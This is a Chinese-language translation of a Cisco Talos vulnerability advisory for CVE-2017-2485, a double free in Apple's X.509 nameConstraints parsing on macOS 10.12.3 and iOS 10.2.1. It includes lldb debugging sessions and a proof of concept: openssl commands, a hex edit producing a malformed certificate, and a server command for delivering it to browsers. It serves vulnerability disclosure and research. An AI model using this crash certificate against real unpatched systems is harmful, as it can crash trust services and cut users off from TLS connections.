Cisco Talos的Aleksandar Nikolic发现了TALOS -2017-0296(CVE-2017-2485)。此漏洞的原因在于处理X.509v3证书扩展字段时的不当。特制的X.509证书可能会触发此漏洞,并可能导致在受影响的系统上执行远程代码。
漏洞详情
-
漏洞编号:CVE-2017-2485
苹果MacOS Sierra(10.12.3版本和10.12.4公开测试版)和iOS 10.2.1中的x509证书验证功能存在一个可以利用的远程代码执行漏洞。为了触发此漏洞,受害者需要访问带有恶意软件证书的HTTPS网站或其他服务器,或者点击一个带有malicios证书的文件。
影响范围
- 漏洞风险:攻击者使用恶意制作的x509证书可能导致任意代码执行
- 影响版本:Apple macOS 10.12.3/10.12.4 beta和Apple iOS 10.2.1
漏洞分析
当客户端与服务器建立安全连接时,服务器会呈现客户端必须验证的x509证书。在Apple macOS中,大多数客户端应用程序使用macOS的证书验证代理,此时恶意证书将被易受攻击的代码解析。可以通过例如Safari或Chrome访问HTTPS网站,通过Mail.app
连接到恶意邮件服务器,或者通过在finder
中双击导入证书来触发此漏洞。
此漏洞存在于负责解析x509v3证书扩展字段的nameConstraints
代码中。在x509证书中,nameConstraints
存储为通用子树(RFC 5280),并在解析它们时,库/System/Library/Frameworks/Security.framework/Versions/A/Security
中的函数parseGeneralSubtrees
被调用:
在[1]时,DER
序列解码开始,新的存储缓冲区被分配到[2]并保存在寄存器中的r15
。在[3]中,执行实际解码,如果失败,结束于loc_971A8
,然后在[4],指向分配的内存指针被保存在该证书分配的结构[rbx]
内。因为[3]的调用失败,[4]的检查将不会被执行,并且内存缓冲区会在[5]时立即释放。这是一个陈旧的指针留在[rbx]
第一次释放。由于此指针不为NULL
,因此可以重新使用该指针,导致进程崩溃和进一步未定义的行为。使用提供的PoC证书,该过程将再次尝试释放已经释放的内存区域,同时在调用Security
函数的 SecCertificateDestroy 时释放所有证书解析相关结构。
这可以在以下调试会话中观察到:
(lldb) settings set target.env-vars DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib (lldb) command script import lldb.macosx.heap "malloc_info", "ptr_refs", "cstr_refs", "find_variable", and "objc_refs" commands have been installed, use the "--help" options on these commands for detailed help. (lldb) b parseGeneralSubtrees Breakpoint 4: where = Security`parseGeneralSubtrees, address = 0x00007fff824b8061 (lldb) r verify-cert -c poc.der There is a running process, kill it and restart?: [Y/n] Y Process 2461 exited with status = 9 (0x00000009) Process 2470 launched: '/usr/bin/security' (x86_64) GuardMalloc[security-2470]: Allocations will be placed on 16 byte boundaries. GuardMalloc[security-2470]: - Some buffer overruns may not be noticed. GuardMalloc[security-2470]: - Applications using vector instructions (e.g., SSE) should work. GuardMalloc[security-2470]: version 109 security(2470,0x7fff9a8263c0) malloc: stack logs being written into /tmp/stack-logs.2470.1000f0000.security. ANmHIl.index security(2470,0x7fff9a8263c0) malloc: recording malloc and VM allocation stacks to disk using standard recorder security(2470,0x7fff9a8263c0) malloc: process 2461 no longer exists, stack logs deleted from /tmp/stack-logs.2461.1000f0000.security.bTHK4Z.index Stop reason : breakpoint 3.1 Process 2470 stopped * thread #1: tid = 0x22c34, 0x00007fff824225ee Security`SecCertificateCreateWithData + 46, 、queue = 'com.apple.main-thread', stop reason = breakpoint 3.1 frame #0: 0x00007fff824225ee Security`SecCertificateCreateWithData + 46 (lldb) disassemble -s 0x7fff824b80ac-5 Security`parseGeneralSubtrees: 0x7fff824b80a7 <+70>: call 0x7fff82678a10 ; symbol stub for: CFArrayCreateMutable 0x7fff824b80ac <+75>: mov r15, rax 0x7fff824b80af <+78>: test r15, r15 0x7fff824b80b2 <+81>: je 0x7fff824b81ce ; <+365> 0x7fff824b80b8 <+87>: lea rdi, [rbp - 0x38] 0x7fff824b80bc <+91>: lea rsi, [rbp - 0x50] 0x7fff824b80c0 <+95>: call 0x7fff82612976 ; DERDecodeSeqNext (lldb) c Process 2470 resuming Stop reason : breakpoint 1.1 4.1 Process 2470 stopped * thread #1: tid = 0x22c34, 0x00007fff824b8061 Security`parseGeneralSubtrees, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 4.1 frame #0: 0x00007fff824b8061 Security`parseGeneralSubtrees
上面,我们在函数parseGeneralSubtrees
和调用CFArrayCreateMutable
中设置了一个断点,所以我们可以看到我们的内存被分配到哪里。
(lldb) c Process 2470 resuming Stop reason : breakpoint 5.1 Process 2470 stopped * thread #1: tid = 0x22c34, 0x00007fff824b80ac Security`parseGeneralSubtrees + 75, queue = 'com.apple.main-thread', stop reason = breakpoint 5.1 frame #0: 0x00007fff824b80ac Security`parseGeneralSubtrees + 75 (lldb) malloc_info -s $rax 0x0000000101687fd0: malloc( 48) -> 0x101687fd0 __NSArrayM.NSMutableArray.NSArray.NSObject.isa stack[0]: addr = 0x101687fd0, type=malloc, frames: [0] 0x00007fff91a93d7f libsystem_malloc.dylib`calloc + 30 [1] 0x00007fff9101be9d libobjc.A.dylib`class_createInstance + 88 [2] 0x00007fff7c121f6f CoreFoundation`__CFAllocateObject2 + 15 [3] 0x00007fff7c297b71 CoreFoundation`+[__NSArrayM __new:::] + 33 [4] 0x00007fff824b80ac Security`parseGeneralSubtrees + 75 [5] 0x00007fff824b7648 Security`SecCEPNameConstraints + 75 [6] 0x00007fff824b1f2f Security`SecCertificateParse + 1574 [7] 0x00007fff8242263d Security`SecCertificateCreateWithData + 125 [8] 0x00007fff824740c4 Security`SecCertificateCreateFromData + 82 [9] 0x0000000100014cea security`___lldb_unnamed_symbol134$$security + 207 [10] 0x0000000100016fae security`___lldb_unnamed_symbol147$$security + 18 [11] 0x0000000100016a90 security`___lldb_unnamed_symbol146$$security + 800 [12] 0x000000010001339a security`___lldb_unnamed_symbol118$$security + 270 [13] 0x0000000100012efb security`___lldb_unnamed_symbol117$$security + 422 [14] 0x00007fff9190f235 libdyld.dylib`start + 1 [15] 0x00007fff9a8263c1 libsystem_pthread.dylib`_thread + 1
我们可以看到,48大小的堆块被分配到0x101687fd0
,然后直到DERDecodeSeqNext
呼叫返回:
(lldb) b 0x7fff824b80c5 Breakpoint 6: where = Security`parseGeneralSubtrees + 100, address = 0x00007fff824b80c5 (lldb) disassemble -s 0x7fff824b80c5-5 Security`parseGeneralSubtrees: 0x7fff824b80c0 <+95>: call 0x7fff82612976 ; DERDecodeSeqNext 0x7fff824b80c5 <+100>: mov r14d, eax 0x7fff824b80c8 <+103>: test r14d, r14d 0x7fff824b80cb <+106>: jne 0x7fff824b81a8 ; <+327> 0x7fff824b80d1 <+112>: lea rax, [rip + 0x1d1f20] ; DERNumGeneralSubtreeItemSpecs 0x7fff824b80d8 <+119>: movzx eax, word ptr [rax] 0x7fff824b80db <+122>: movzx eax, ax (lldb) register read rax rax = 0x0000000000000003
我们可以观察到3
的返回值。这将跳出循环,最后在代码中保存指针[rbx]
,然后释放它:
(lldb) b 0x7fff824b81a8 Breakpoint 7: where = Security`parseGeneralSubtrees + 327, address = 0x00007fff824b81a8 (lldb) disassemble -s 0x7fff824b81a8 Security`parseGeneralSubtrees: 0x7fff824b81a8 <+327>: mov rdi, qword ptr [rbx] 0x7fff824b81ab <+330>: test rdi, rdi 0x7fff824b81ae <+333>: je 0x7fff824b81b5 ; <+340> 0x7fff824b81b0 <+335>: call 0x7fff82678d0a ; symbol stub for: CFRelease 0x7fff824b81b5 <+340>: mov qword ptr [rbx], r15 0x7fff824b81b8 <+343>: cmp r14d, 0x1 0x7fff824b81bc <+347>: je 0x7fff824b81ce ; <+365> 0x7fff824b81be <+349>: jmp 0x7fff824b81c3 ; <+354> 0x7fff824b81c0 <+351>: xor r14d, r14d 0x7fff824b81c3 <+354>: mov rdi, r15 (lldb) b 0x7fff824b81b5 Breakpoint 8: where = Security`parseGeneralSubtrees + 340, address = 0x00007fff824b81b5 (lldb) register read r14 r14 = 0x0000000000000003 (lldb) disassemble -s $pc Security`parseGeneralSubtrees: -> 0x7fff824b81c6 <+357>: call 0x7fff82678d0a ; symbol stub for: CFRelease 0x7fff824b81cb <+362>: mov r12d, r14d 0x7fff824b81ce <+365>: mov eax, r12d 0x7fff824b81d1 <+368>: add rsp, 0x78 0x7fff824b81d5 <+372>: pop rbx 0x7fff824b81d6 <+373>: pop r12 0x7fff824b81d8 <+375>: pop r13 0x7fff824b81da <+377>: pop r14 0x7fff824b81dc <+379>: pop r15 0x7fff824b81de <+381>: pop rbp 0x7fff824b81df <+382>: ret
内存现在是释放的,但是剩下一个陈旧的指针。继续该过程将导致以下崩溃:
(lldb) c Process 2476 resuming Stop reason : EXC_BAD_ACCESS (code=1, address=0x1014a6fd0) Process 2476 stopped * thread #1: tid = 0x22fbf, 0x00007fff7c128b4b CoreFoundation`CFRelease + 11, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1014a6fd0) frame #0: 0x00007fff7c128b4b CoreFoundation`CFRelease + 11 (lldb) bt * thread #1: tid = 0x22fbf, 0x00007fff7c128b4b CoreFoundation`CFRelease + 11, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x101687fd0) * frame #0: 0x00007fff7c128b4b CoreFoundation`CFRelease + 11 frame #1: 0x00007fff824b171d Security`SecCertificateDestroy + 298 frame #2: 0x00007fff7c2701a3 CoreFoundation`_CFRelease + 291 frame #3: 0x00007fff7c297f9b CoreFoundation`-[__NSSingleObjectArrayI dealloc] + 43 frame #4: 0x00007fff824c351e Security`SecTrustDestroy + 59 frame #5: 0x00007fff7c2701a3 CoreFoundation`_CFRelease + 291 frame #6: 0x0000000100016d76 security`___lldb_unnamed_symbol146$$security + 1542 frame #7: 0x000000010001339a security`___lldb_unnamed_symbol118$$security + 270 frame #8: 0x0000000100012efb security`___lldb_unnamed_symbol117$$security + 422 frame #9: 0x00007fff9190f235 libdyld.dylib`start + 1 frame #10: 0x00007fff9190f235 libdyld.dylib`start + 1 (lldb) disassemble -s $pc CoreFoundation`CFRelease: -> 0x7fff7c128b4b <+11>: mov rax, qword ptr [rdi] 0x7fff7c128b4e <+14>: test rax, rax 0x7fff7c128b51 <+17>: je 0x7fff7c128b8a ; <+74> 0x7fff7c128b53 <+19>: cmp rax, qword ptr [rip + 0x1b094ade] ; __CFConstantStringClassReferencePtr 0x7fff7c128b5a <+26>: je 0x7fff7c128b8a ; <+74> 0x7fff7c128b5c <+28>: mov ecx, 0xa08 0x7fff7c128b61 <+33>: bextr ecx, dword ptr [rdi + 0x8], ecx (lldb) register read rdi rdi = 0x0000000101687fd0 (lldb)
崩溃是由于使用libgmalloc
的标记来释放内存不可读和不可写:
(lldb) memory region $rdi [0x00000001014a6fd0-0x00000001014a8000) --- (lldb)
如果我们从苹果公司查询有关DER解析功能的开源代码,我们可以看到DERDecodeSeqNext
将在[3]处解码错误(DR_DecodeError枚举是精确的),因此为了触发此漏洞,需要一个无效的nameConstraints
特制x509证书。
进一步操纵内存中的证书布局可能会导致其他结构在释放的块中分配,从而导致进一步的未定义行为和最终的远程代码执行。
当在Finder中双击一个PoC崩溃证书时,它将被添加到keychain
并在尝试解析时崩溃。这将继续使com.apple.trustd
代理崩溃,effectively rendering使系统无法使用,无法连接到任何SSL/TLS服务器。
崩溃信息如下:
利用概念证明
触发此漏洞的证书可以通过修改openssl
添加扩展名到配置文件生成的样本证书来创建:
[ v3_req ] nameConstraints=permitted;email:.somedomain.com
然后执行以下命令:
openssl req -x509 -newkey rsa:1024 -keyout key.pem -out cert.pem -days 365 -nodes -extensions req_v3 -config /etc/ssl/openssl.cnf openssl x509 -text -inform PEM -outform DER < cert.pem > poc.der
并修改nameConstraints
序列解码的失败,例如:
000001b0: 3015 a013 3011 810f 2e73 6f6d 6564 6f6d 0...0....somedom 000001c0: 6169 6e2e 636f 6d30 0d06 092a 8648 86f7 ain.com0...*.H..
变成:
000001b0: 3015 a013 30ff 810f 2e73 6f6d 6564 6f6d 0...0....somedom 000001c0: 6169 6e2e 636f 6d30 0d06 092a 8648 86f7 ain.com0...*.H..
崩溃可以通过/usr/bin/security
的以下方式证明:
bash-3.2$ /usr/bin/security verify-cert -c poc.der Cert Verify Result: CSSMERR_TP_NOT_TRUSTED Segmentation fault: 11 bash-3.2$
或者创建一个伪造的网络服务器并通过浏览器访问:
openssl s_server -cert poc.der -certform DER -key key.pem -accept 44330 -www -dhparam dHParam.pem
浏览器访问时会导致:
mac com.apple.xpc.launchd[1] (com.apple.WebKit.Networking.FE2D7E71-2AAE-4092-9726-5ADB4EB8FF3A[909]): Service exited due to signal: Segmentation fault: 11 sent by exc handler[0] mac com.apple.xpc.launchd[1] (com.apple.ReportCrash[2515]): Endpoint has been activated through legacy launch(3) APIs. Please switch to XPC or bootstrap_check_in(): com.apple.ReportCrash
修复建议
更新系统版本到已修复的版本。
参考
http://blog.talosintelligence.com/2017/03/apple-x509.html
http://www.talosintelligence.com/reports/TALOS-2017-0296/
https://support.apple.com/en-us/HT207615
*参考:talosintelligence,MottoIN小编编译发布,转载请注明来自MottoIN
原创文章,作者:Stbird,如若转载,请注明出处:http://www.mottoin.com/vuls/99322.html